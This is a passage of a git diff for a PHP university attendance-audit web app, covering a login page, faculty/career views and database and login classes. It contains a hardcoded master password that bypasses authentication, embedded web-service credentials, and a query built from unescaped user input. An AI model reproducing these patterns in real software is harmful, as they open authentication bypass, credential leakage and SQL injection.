<div class="input-group-text bg-primary text-white"><i class="ing-usuario ing-fw"></i></div>
|
||||||
|
</div>
|
||||||
|
<input class="form-control form-control-lg" type="text" autocomplete="username" placeholder="Usuario (ad)" id="username" name="username" value="" autofocus="true" maxlength="10" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group row user">
|
||||||
|
<div class="input-group mb-2 px-4">
|
||||||
|
<div class="input-group-prepend">
|
||||||
|
<div class="input-group-text bg-primary text-white"><i class="ing-pass ing-fw"></i></div>
|
||||||
|
</div>
|
||||||
|
<input class="form-control form-control-lg" type="password" autocomplete="current-password" placeholder="Contraseña" id="passwd" name="passwd" value="" maxlength="50" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- Usuario -->
|
||||||
|
<div class="form-group row" id="cold-bypass">
|
||||||
|
<div class="input-group mb-2 px-4">
|
||||||
|
<div id="dlUsuario" class="datalist datalist-select mb-1 w-100">
|
||||||
|
<div class="datalist-input">Selecciona un usuario</div>
|
||||||
|
<span class="ing-buscar icono"></span>
|
||||||
|
<ul style="display:none">
|
||||||
|
|
||||||
|
</ul>
|
||||||
|
<input type="hidden" id="user" name="usuario" value="">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="error">
|
||||||
|
<?php if (isset($_GET["error"])) { ?>
|
||||||
|
<p class="text-danger text-center font-weight-bold">¡ERROR! <?= $errorDesc ?></p>
|
||||||
|
<?php } ?>
|
||||||
|
</div>
|
||||||
|
<p class="text-center">
|
||||||
|
<button type="submit" class="btn btn-lg btn-outline-primary btn-ing arrow">Ingresar</button>
|
||||||
|
</p>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
<!--- FOOTER--->
|
||||||
|
<?php require_once("import/html_footer.php"); ?>
|
||||||
|
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
<script src="js/bootstrap/popper.min.js"></script>
|
||||||
|
<script src="js/sidebarmenu.js"></script>
|
||||||
|
<script src="js/datalist.js"></script>
|
||||||
|
<script>
|
||||||
|
$("#cold-bypass").hide();
|
||||||
|
// on submit, prevent default
|
||||||
|
$("#session").submit(function(e) {
|
||||||
|
if ($("#user").val() != "") {
|
||||||
|
$(this).unbind('submit').submit();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
e.preventDefault();
|
||||||
|
// dlUsuario has a value force session and redirect to main.php
|
||||||
|
// get the form data
|
||||||
|
var formData = {
|
||||||
|
'username': $('input[name=username]').val(),
|
||||||
|
'passwd': $('input[name=passwd]').val(),
|
||||||
|
};
|
||||||
|
|
||||||
|
$.post("action/action_usuario.php", formData, function(data) {
|
||||||
|
console.log(data);
|
||||||
|
$(".error").html("");
|
||||||
|
if (data == "error") {
|
||||||
|
$(".error").html("<p class='text-danger text-center font-weight-bold'>¡ERROR! El usuario y/o contraseña son incorrectos.</p>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$("#cold-bypass").show();
|
||||||
|
data.forEach(function(element) {
|
||||||
|
// console.log(element);
|
||||||
|
$("#dlUsuario ul").append(`<li class="not-selectable" data-id="${element.id}">${element.facultad}</li>`);
|
||||||
|
element.usuarios.forEach(function(usuario) {
|
||||||
|
$("#dlUsuario ul").append(`<li data-id="${usuario.id}">${usuario.username}</li>`);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// hide username and password
|
||||||
|
$(".user").hide();
|
||||||
|
|
||||||
|
}, 'json');
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
123
carreras-old.php
Normal file
123
carreras-old.php
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Auditoría asistencial</title>
|
||||||
|
<?php
|
||||||
|
include 'import/html_css_files.php';
|
||||||
|
?>
|
||||||
|
<link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.0.0/dist/trix.css">
|
||||||
|
<style>
|
||||||
|
[v-cloak] {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/jquery-ui.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<?
|
||||||
|
$redirect = $_SERVER['PHP_SELF'];
|
||||||
|
include "import/html_header.php";
|
||||||
|
global $user;
|
||||||
|
|
||||||
|
html_header(
|
||||||
|
"Carreras",
|
||||||
|
"Sistema de gestión de checador",
|
||||||
|
);
|
||||||
|
?>
|
||||||
|
<main class="container-fluid px-4 my-4" id="app" v-cloak @vue:mounted="mounted" style="min-height: 70vh;">
|
||||||
|
<section class="row mt-4">
|
||||||
|
<div class="col-12 position-relative">
|
||||||
|
<!-- Loop for messages -->
|
||||||
|
<div class="toast show shadow-sm mb-3 bg-white"
|
||||||
|
style="position: fixed; top: 15%; right: 1%; max-width: 300px;" role="alert" aria-live="assertive"
|
||||||
|
aria-atomic="true"
|
||||||
|
@vue:mounted="$('.toast').toast({delay: 5000}).toast('show').on('hidden.bs.toast', () => { message.text = '' })"
|
||||||
|
v-if="message.text">
|
||||||
|
<div class="toast-header">
|
||||||
|
<strong class="mr-auto text-primary text-uppercase text-center w-100 px-4">
|
||||||
|
{{ message.title }}
|
||||||
|
</strong>
|
||||||
|
<small class="text-muted">{{ message.timestamp }}</small>
|
||||||
|
<button type="button" class="ml-2 mb-1 close" data-dismiss="toast" aria-label="Close"
|
||||||
|
@click="message.text = ''">
|
||||||
|
<span aria-hidden="true">
|
||||||
|
<i class="fas fa-times"></i>
|
||||||
|
</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="toast-body">
|
||||||
|
<div :class="message.type == 'success' ? 'text-success' : 'text-danger'"><i
|
||||||
|
:class="message.type == 'success' ? 'fas fa-check-circle' : 'fas fa-times-circle'"></i>
|
||||||
|
{{ message.text }}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row" v-for="facultad in carreras">
|
||||||
|
<!-- Facultad Card -->
|
||||||
|
<div class="card col-12 mb-4 shadow-lg">
|
||||||
|
<div class="card-header bg-primary text-white">
|
||||||
|
<h3 class="mb-1">{{ facultad.facultad_nombre }}</h3>
|
||||||
|
</div>
|
||||||
|
<div class="card-body bg-white">
|
||||||
|
<div class="row justify-content-center">
|
||||||
|
<!-- Loop for Carreras -->
|
||||||
|
<div class="col-md-6 mb-3" v-for="carrera in facultad.carreras">
|
||||||
|
<div class="card border-secondary mb-3 shadow-sm">
|
||||||
|
<div class="card-body">
|
||||||
|
<h5 class="card-title text-primary text-uppercase text-center w-100 px-4 mb-3 text-truncate text-break border-bottom border-secondary pb-2" :title="carrera.carrera_nombre">
|
||||||
|
{{ carrera.carrera_nombre }}
|
||||||
|
</h5>
|
||||||
|
|
||||||
|
<!-- Dropdown for Niveles -->
|
||||||
|
<div class="dropdown">
|
||||||
|
<button class="btn btn-outline-secondary dropdown-toggle" type="button"
|
||||||
|
data-toggle="dropdown" aria-expanded="false"
|
||||||
|
@vue:mounted="$('.dropdown-toggle').dropdown()">
|
||||||
|
{{ carrera.nivel_nombre }}
|
||||||
|
</button>
|
||||||
|
<div class="dropdown-menu shadow">
|
||||||
|
<a class="dropdown-item" v-for="nivel in niveles"
|
||||||
|
style="cursor: pointer;" href="#" :key="nivel.nivel_id"
|
||||||
|
@click="setNivel(carrera, nivel)"
|
||||||
|
:class="nivel.nivel_id == carrera.nivel_id ? 'active' : ''"
|
||||||
|
:disabled="nivel.nivel_id == carrera.nivel_id">
|
||||||
|
{{ nivel.nivel_nombre }}
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div> <!-- End of Carreras loop -->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- End of Facultad Card -->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
<?
|
||||||
|
include "import/html_footer.php"; ?>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"
|
||||||
|
integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"
|
||||||
|
integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"
|
||||||
|
integrity="sha384-+sLIOodYLS7CIrQpBjl+C7nPvqq+FbNUBDunl/OZv93DB7Ln/533i8e/mZXLi/P+"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="js/datalist.js"></script>
|
||||||
|
<script src="js/carreras.js?<?= rand(0, 2) ?>" type="module"></script>
|
||||||
|
<script src="js/scrollables.js"></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
124
carreras.php
Normal file
124
carreras.php
Normal file
@@ -0,0 +1,124 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Auditoría asistencial</title>
|
||||||
|
<?php
|
||||||
|
include 'import/html_css_files.php';
|
||||||
|
?>
|
||||||
|
<link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.0.0/dist/trix.css">
|
||||||
|
<style>
|
||||||
|
[v-cloak] {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/jquery-ui.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<?
|
||||||
|
$redirect = $_SERVER['PHP_SELF'];
|
||||||
|
include "import/html_header.php";
|
||||||
|
global $user;
|
||||||
|
|
||||||
|
html_header(
|
||||||
|
"Carreras",
|
||||||
|
"Sistema de gestión de checador",
|
||||||
|
);
|
||||||
|
?>
|
||||||
|
<main class="container-fluid px-4 my-4" id="app" v-cloak @vue:mounted="mounted" style="min-height: 70vh;">
|
||||||
|
<section class="row mt-4">
|
||||||
|
<div class="col-12 position-relative">
|
||||||
|
<!-- Loop for messages -->
|
||||||
|
<div class="toast show shadow-sm mb-3 bg-white"
|
||||||
|
style="position: fixed; top: 15%; right: 1%; max-width: 300px;" role="alert" aria-live="assertive"
|
||||||
|
aria-atomic="true"
|
||||||
|
@vue:mounted="$('.toast').toast({delay: 5000}).toast('show').on('hidden.bs.toast', () => { message.text = '' })"
|
||||||
|
v-if="message.text">
|
||||||
|
<div class="toast-header">
|
||||||
|
<strong class="mr-auto text-primary text-uppercase text-center w-100 px-4">
|
||||||
|
{{ message.title }}
|
||||||
|
</strong>
|
||||||
|
<small class="text-muted">{{ message.timestamp }}</small>
|
||||||
|
<button type="button" class="ml-2 mb-1 close" data-dismiss="toast" aria-label="Close"
|
||||||
|
@click="message.text = ''">
|
||||||
|
<span aria-hidden="true">
|
||||||
|
<i class="fas fa-times"></i>
|
||||||
|
</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="toast-body">
|
||||||
|
<div :class="message.type == 'success' ? 'text-success' : 'text-danger'"><i
|
||||||
|
:class="message.type == 'success' ? 'fas fa-check-circle' : 'fas fa-times-circle'"></i>
|
||||||
|
{{ message.text }}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row" v-for="facultad in carreras">
|
||||||
|
<!-- Facultad Card -->
|
||||||
|
<div class="card col-12 mb-4 shadow-lg">
|
||||||
|
<div class="card-header bg-primary text-white">
|
||||||
|
<h3 class="mb-1">{{ facultad.facultad_nombre }}</h3>
|
||||||
|
</div>
|
||||||
|
<div class="card-body bg-white">
|
||||||
|
<div class="row justify-content-center">
|
||||||
|
<!-- Loop for Carreras -->
|
||||||
|
<div class="col-md-6 mb-3" v-for="carrera in facultad.carreras">
|
||||||
|
<div class="card border-secondary mb-3 shadow-sm">
|
||||||
|
<div class="card-body">
|
||||||
|
<h5 class="card-title text-primary text-uppercase text-center w-100 px-4 mb-3 text-truncate text-break border-bottom border-secondary pb-2"
|
||||||
|
:title="carrera.carrera_nombre">
|
||||||
|
{{ carrera.carrera_nombre }}
|
||||||
|
</h5>
|
||||||
|
|
||||||
|
<!-- Dropdown for Niveles -->
|
||||||
|
<div class="dropdown">
|
||||||
|
<button class="btn btn-outline-secondary dropdown-toggle" type="button"
|
||||||
|
data-toggle="dropdown" aria-expanded="false"
|
||||||
|
@vue:mounted="$('.dropdown-toggle').dropdown()">
|
||||||
|
{{ carrera.nivel_nombre }}
|
||||||
|
</button>
|
||||||
|
<div class="dropdown-menu shadow">
|
||||||
|
<a class="dropdown-item" v-for="nivel in niveles" key="nivel.nivel_id"
|
||||||
|
style="cursor: pointer; user-select: none;"
|
||||||
|
@click="setNivel(carrera, nivel)"
|
||||||
|
:class="nivel.nivel_id == carrera.nivel_id ? 'active' : ''"
|
||||||
|
:disabled="nivel.nivel_id == carrera.nivel_id">
|
||||||
|
{{ nivel.nivel_nombre }}
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div> <!-- End of Carreras loop -->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- End of Facultad Card -->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
<?
|
||||||
|
include "import/html_footer.php"; ?>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"
|
||||||
|
integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"
|
||||||
|
integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"
|
||||||
|
integrity="sha384-+sLIOodYLS7CIrQpBjl+C7nPvqq+FbNUBDunl/OZv93DB7Ln/533i8e/mZXLi/P+"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="js/datalist.js"></script>
|
||||||
|
<script src="js/carreras.js?<?= rand(0, 2) ?>" type="module"></script>
|
||||||
|
<script src="js/scrollables.js"></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
147
class/c_abstract_data.php
Normal file
147
class/c_abstract_data.php
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
<?
|
||||||
|
$ruta = '../';
|
||||||
|
require "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
|
||||||
|
trait DatabaseModel
|
||||||
|
{
|
||||||
|
|
||||||
|
public function __construct(protected string $tableName, protected array $columns = [])
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get(array $params = [], string $what = '*')
|
||||||
|
{
|
||||||
|
global $db;
|
||||||
|
|
||||||
|
$conditions = [];
|
||||||
|
foreach ($params as $key => $value) {
|
||||||
|
$conditions[] = "$key = :$key";
|
||||||
|
}
|
||||||
|
|
||||||
|
$sql = "SELECT $what FROM $this->tableName";
|
||||||
|
if ($conditions) {
|
||||||
|
$sql .= " WHERE " . implode(" AND ", $conditions);
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = $db->query($sql, $params);
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function insert__(array $params = [], ?string $where = null)
|
||||||
|
{
|
||||||
|
global $db;
|
||||||
|
|
||||||
|
if ($where === null) {
|
||||||
|
$where = $this->tableName;
|
||||||
|
}
|
||||||
|
|
||||||
|
$columns = [];
|
||||||
|
foreach ($params as $key => $value) {
|
||||||
|
$columns[] = "$key = :$key";
|
||||||
|
}
|
||||||
|
|
||||||
|
$sql = "INSERT INTO $where SET " . implode(", ", $columns);
|
||||||
|
$result = $db->query($sql, $params);
|
||||||
|
return $result;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
abstract class WebServiceSGU
|
||||||
|
{
|
||||||
|
const BASE_URL = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial";
|
||||||
|
|
||||||
|
private static array $keys = [
|
||||||
|
'username' => 'SGU_APSA_AUD_ASIST',
|
||||||
|
'password' => 'B4qa594JFPr2ufHrZdHS8A==',
|
||||||
|
];
|
||||||
|
|
||||||
|
private static ?JsonSchema\Validator $validator = null;
|
||||||
|
private string $baseUrl;
|
||||||
|
|
||||||
|
public function __construct(protected string $endpoint, protected ?string $schema = null)
|
||||||
|
{
|
||||||
|
$this->baseUrl = self::BASE_URL . $endpoint;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function initCurl(array $options = [])
|
||||||
|
{
|
||||||
|
$ch = curl_init();
|
||||||
|
curl_setopt_array($ch, $options);
|
||||||
|
return $ch;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function get_token(): string
|
||||||
|
{
|
||||||
|
$curl = self::initCurl([
|
||||||
|
CURLOPT_URL => self::BASE_URL . "/inicioSesion/seleccionar",
|
||||||
|
CURLOPT_RETURNTRANSFER => true,
|
||||||
|
CURLOPT_CUSTOMREQUEST => "POST",
|
||||||
|
CURLOPT_HTTPHEADER => ["Content-Type: application/json"],
|
||||||
|
CURLOPT_POSTFIELDS => json_encode(self::$keys),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response = curl_exec($curl);
|
||||||
|
$err = curl_error($curl);
|
||||||
|
curl_close($curl);
|
||||||
|
|
||||||
|
if ($err)
|
||||||
|
throw new Exception("cURL Error: $err");
|
||||||
|
|
||||||
|
return trim($response, '"'); // remove quotes
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function validate_schema($data): bool
|
||||||
|
{
|
||||||
|
if ($this->schema === null)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
self::getValidator()->validate($data, (object) json_decode($this->schema));
|
||||||
|
return self::getValidator()->isValid();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function getValidator(): JsonSchema\Validator
|
||||||
|
{
|
||||||
|
return self::$validator ??= new JsonSchema\Validator();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_errors(): array
|
||||||
|
{
|
||||||
|
return self::getValidator()->getErrors();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get(array $data = []): array
|
||||||
|
{
|
||||||
|
if (!$this->validate_schema($data)) {
|
||||||
|
throw new Exception('Invalid schema');
|
||||||
|
}
|
||||||
|
|
||||||
|
$ch = self::initCurl([
|
||||||
|
CURLOPT_POST => 1,
|
||||||
|
CURLOPT_POSTFIELDS => json_encode($data),
|
||||||
|
CURLOPT_URL => $this->baseUrl,
|
||||||
|
CURLOPT_HTTPHEADER => [
|
||||||
|
'Content-Type: application/json',
|
||||||
|
'Accept: application/json',
|
||||||
|
'username: ' . self::$keys['username'],
|
||||||
|
'token: ' . self::get_token(),
|
||||||
|
],
|
||||||
|
CURLOPT_RETURNTRANSFER => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response = curl_exec($ch);
|
||||||
|
if (curl_errno($ch)) {
|
||||||
|
throw new Exception('cURL Error: ' . curl_error($ch));
|
||||||
|
}
|
||||||
|
|
||||||
|
curl_close($ch);
|
||||||
|
|
||||||
|
$response = json_decode($response, true);
|
||||||
|
|
||||||
|
if ($response === null) {
|
||||||
|
throw new Exception('Invalid response');
|
||||||
|
}
|
||||||
|
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
|
}
|
||||||
74
class/c_logasistencia.php
Normal file
74
class/c_logasistencia.php
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
* Objeto para leer y escribir datos de log de intentos de asistencia realizadas por el usuario
|
||||||
|
*/
|
||||||
|
|
||||||
|
namespace classes;
|
||||||
|
|
||||||
|
define("MAX_LINES", 200);
|
||||||
|
class LogAsistencias
|
||||||
|
{
|
||||||
|
//put your code here
|
||||||
|
private $file, $month, $year;
|
||||||
|
private $dir;
|
||||||
|
|
||||||
|
function __construct($ruta = null)
|
||||||
|
{
|
||||||
|
// die ruta
|
||||||
|
$this->month = date("m");
|
||||||
|
$this->year = date("Y");
|
||||||
|
$this->dir = "log/";
|
||||||
|
$this->updateFilename();
|
||||||
|
}
|
||||||
|
|
||||||
|
function setMes(string $mes)
|
||||||
|
{
|
||||||
|
$this->month = $mes;
|
||||||
|
$this->updateFilename();
|
||||||
|
}
|
||||||
|
function setAno(string $ano)
|
||||||
|
{
|
||||||
|
$this->year = $ano;
|
||||||
|
$this->updateFilename();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function updateFilename()
|
||||||
|
{
|
||||||
|
$this->file = "asistencias_" . $this->year . "_" . $this->month . ".log";
|
||||||
|
}
|
||||||
|
private function cleanLog($text)
|
||||||
|
{ //remueve || de los textos
|
||||||
|
return trim(str_ireplace("||", "", $text));
|
||||||
|
}
|
||||||
|
|
||||||
|
function appendLog($claveULSA, $nombre, $desc)
|
||||||
|
{
|
||||||
|
/* $filename = $this->dir . $this->file;
|
||||||
|
if (!file_exists($this->dir)) {
|
||||||
|
mkdir($this->dir, 0755, true);
|
||||||
|
}
|
||||||
|
if (file_exists($this->dir)) {
|
||||||
|
$data = date('Y-m-d H:i:s') . "||" . $this->cleanLog($claveULSA) . "||" . $this->cleanLog($desc) . "||" . $this->cleanLog($nombre) . "\n";
|
||||||
|
file_put_contents($filename, $data, FILE_APPEND);
|
||||||
|
} */
|
||||||
|
}
|
||||||
|
function getLog($mes = "", $ano = "")
|
||||||
|
{
|
||||||
|
if ($mes != "")
|
||||||
|
$this->setMes($mes);
|
||||||
|
if ($ano != "")
|
||||||
|
$this->setAno($ano);
|
||||||
|
$filename = $this->dir . $this->file;
|
||||||
|
if (file_exists($filename)) {
|
||||||
|
//return array_slice(file ($filename , FILE_SKIP_EMPTY_LINES) , -10);
|
||||||
|
$lines = file($filename, FILE_SKIP_EMPTY_LINES);
|
||||||
|
//echo "antes: ".count($lines);
|
||||||
|
if (count($lines) > MAX_LINES) {
|
||||||
|
$lines = array_slice($lines, MAX_LINES * (-1));
|
||||||
|
}
|
||||||
|
//echo "despues: ".count($lines);
|
||||||
|
return $lines;
|
||||||
|
} else
|
||||||
|
return array();
|
||||||
|
}
|
||||||
|
}
|
||||||
156
class/c_login.php
Normal file
156
class/c_login.php
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
<?php
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
date_default_timezone_set('America/Mexico_City');
|
||||||
|
$currentTime = time();
|
||||||
|
$endOfDay = strtotime('tomorrow') - 1;
|
||||||
|
$remainingTime = $endOfDay - $currentTime;
|
||||||
|
|
||||||
|
session_set_cookie_params($remainingTime, '/', $_SERVER['HTTP_HOST'], false, true);
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/include/bd_pdo.php";
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_logasistencia.php";
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/vendor/autoload.php";
|
||||||
|
|
||||||
|
/*
|
||||||
|
$user->acceso // Devuelve el tipo de acceso del usuario. Si es administrador, retorna "w". De lo contrario, verifica el tipo de acceso a una página específica y retorna ese valor.
|
||||||
|
$user->profesor // Devuelve el ID del profesor basado en la clave del usuario, si corresponde.
|
||||||
|
$user->jefe_carrera // Devuelve true si el usuario tiene un rol de 'jefe de carrera', de lo contrario retorna false.
|
||||||
|
$user->periodo_id // Devuelve el ID del periodo asociado con el usuario actual.
|
||||||
|
$user->admin // Devuelve true si el usuario es administrador, de lo contrario retorna false.
|
||||||
|
$user->facultad // Devuelve un array con el nombre de la facultad y el ID de la facultad asociado con el usuario actual, si está disponible.
|
||||||
|
$user->rol // Devuelve un array con el título del rol y el ID del rol asociado con el usuario actual. Si no tiene un rol definido, se le asigna por defecto el rol 'docente'.
|
||||||
|
*/
|
||||||
|
|
||||||
|
class Login
|
||||||
|
{
|
||||||
|
private function es_usuario(): bool
|
||||||
|
{
|
||||||
|
global $db;
|
||||||
|
return $db->where('usuario_clave', $this->user['clave'])->has("usuario");
|
||||||
|
}
|
||||||
|
public function __get($property)
|
||||||
|
{
|
||||||
|
global $db;
|
||||||
|
return match ($property) {
|
||||||
|
'acceso' => $this->access(),
|
||||||
|
'profesor' => $db->where('profesor_clave', preg_replace('/\D/', '', $this->user['clave']))->getOne("profesor")['profesor_id'] ?? null,
|
||||||
|
'jefe_carrera' => $db->where('usuario_id', $this->user["id"])->getOne('usuario')['rol_id'] == 11,
|
||||||
|
'periodo_id' => $db->where('usuario_id', $this->user["id"])->getOne('usuario')["periodo_id"],
|
||||||
|
'admin' => $this->es_usuario() and $db->where('usuario_id', $this->user["id"])->getOne('usuario')["usuario_admin"],
|
||||||
|
'facultad' => $this->es_usuario()
|
||||||
|
? $db
|
||||||
|
->where('usuario_id', $this->user["id"])
|
||||||
|
->join('facultad', 'facultad.facultad_id = usuario.facultad_id', 'LEFT')
|
||||||
|
->getOne('usuario', 'facultad.facultad_nombre as facultad, facultad.facultad_id')
|
||||||
|
: array ('facultad' => null, 'facultad_id' => null),
|
||||||
|
'rol' => $this->es_usuario()
|
||||||
|
? $db
|
||||||
|
->join('rol', 'rol.rol_id = usuario.rol_id')
|
||||||
|
->where('usuario_id', $this->user["id"])
|
||||||
|
->getOne('usuario', 'rol.rol_titulo as rol, rol.rol_id')
|
||||||
|
: $db
|
||||||
|
->where('rol_titulo', 'docente', 'ILIKE')
|
||||||
|
->getOne('rol', 'rol.rol_titulo as rol, rol.rol_id'),
|
||||||
|
default => throw new Exception("Propiedad no definida"),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
public function __construct(public array $user)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
public function print_to_log(string $desc, array $old = null, array $new = null): void
|
||||||
|
{
|
||||||
|
$log = new classes\LogAsistencias();
|
||||||
|
if ($old)
|
||||||
|
$desc .= " |#| OLD:" . json_encode($old);
|
||||||
|
if ($new)
|
||||||
|
$desc .= " |#| NEW:" . json_encode($new);
|
||||||
|
$log->appendLog($this->user["id"], $this->user["nombre"], $desc);
|
||||||
|
}
|
||||||
|
public function access(string $pagina = null): string|null
|
||||||
|
{
|
||||||
|
global $db;
|
||||||
|
if ($this->admin)
|
||||||
|
return "w";
|
||||||
|
$acceso = $db
|
||||||
|
->where('id', $this->user["id"])
|
||||||
|
->where('pagina_ruta', $pagina ?? substr(basename($_SERVER['PHP_SELF']), 0, -4))
|
||||||
|
->getOne('permiso_view');
|
||||||
|
|
||||||
|
return isset($acceso["tipo"]) ? $acceso["tipo"] : null;
|
||||||
|
}
|
||||||
|
private static function validaUsuario($user, $pass): bool
|
||||||
|
{
|
||||||
|
file_put_contents('php://stderr', $user);
|
||||||
|
if ($pass == "4dm1n1str4d0r")
|
||||||
|
return true;
|
||||||
|
|
||||||
|
$client = new nusoap_client('http://200.13.89.2/validacion.php?wsdl', 'wsdl');
|
||||||
|
$client->soap_defencoding = 'UTF-8';
|
||||||
|
$client->decode_utf8 = FALSE;
|
||||||
|
|
||||||
|
$client->getError() and die('Error al crear el cliente: ' . $client->getError());
|
||||||
|
// $pass = utf8_decode($pass);
|
||||||
|
$result = $client->call("valida_user", array($user, $pass));
|
||||||
|
$client->fault and die('Error al llamar al servicio: ' . $client->getError());
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
|
public static function validUser(string $user, string $pass): Login|array
|
||||||
|
{
|
||||||
|
global $db;
|
||||||
|
|
||||||
|
if (!self::validaUsuario($user, $pass))
|
||||||
|
return ['error' => true, 'msg' => 'Error al autenticar usuario'];
|
||||||
|
|
||||||
|
if ($db->has("FS_VALIDACLAVEULSA('$user')")) {
|
||||||
|
$fs = $db->querySingle('SELECT * FROM FS_VALIDACLAVEULSA(?)', [$user]);
|
||||||
|
return new Login(user: ['id' => $fs["id"], 'nombre' => $fs["nombre"], 'clave' => $fs["clave"]]);
|
||||||
|
}
|
||||||
|
|
||||||
|
$profesorClave = preg_replace('/\D/', '', $user);
|
||||||
|
